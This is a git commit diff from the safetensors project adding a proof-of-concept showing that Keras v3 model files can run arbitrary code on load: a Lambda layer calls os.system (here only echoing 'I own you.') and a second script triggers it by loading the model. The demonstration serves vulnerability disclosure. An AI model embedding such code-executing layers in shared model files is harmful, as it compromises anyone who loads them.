]> khamidou — GitHub mirrors - safetensors.git/commitdiff
Keras new format is not safe. (#127)
authorNicolas Patry <patry.nicolas@protonmail.com>
Mon, 12 Dec 2022 10:40:56 +0000 (11:40 +0100)
committerGitHub <noreply@github.com>
Mon, 12 Dec 2022 10:40:56 +0000 (11:40 +0100)
attacks/tf_safe_ace_create.py [new file with mode: 0644]
attacks/tf_safe_ace_get_pwned.py [new file with mode: 0644]

diff --git a/attacks/tf_safe_ace_create.py b/attacks/tf_safe_ace_create.py
new file mode 100644 (file)
index 0000000..116af9d
--- /dev/null
@@ -0,0 +1,17 @@
+import tensorflow as tf
+
+
+def exec_(*args, **kwargs):
+    import os
+
+    os.system('echo "########################################\nI own you.\n########################################"')
+    return 10
+
+
+num_classes = 10
+input_shape = (28, 28, 1)
+
+model = tf.keras.Sequential([tf.keras.Input(shape=input_shape), tf.keras.layers.Lambda(exec_, name="custom")])
+
+
+model.save("tf_ace.keras", save_format="keras_v3")
diff --git a/attacks/tf_safe_ace_get_pwned.py b/attacks/tf_safe_ace_get_pwned.py
new file mode 100644 (file)
index 0000000..3ea9206
--- /dev/null
@@ -0,0 +1,3 @@
+import tensorflow as tf
+
+new_model = tf.keras.models.load_model("tf_ace.keras")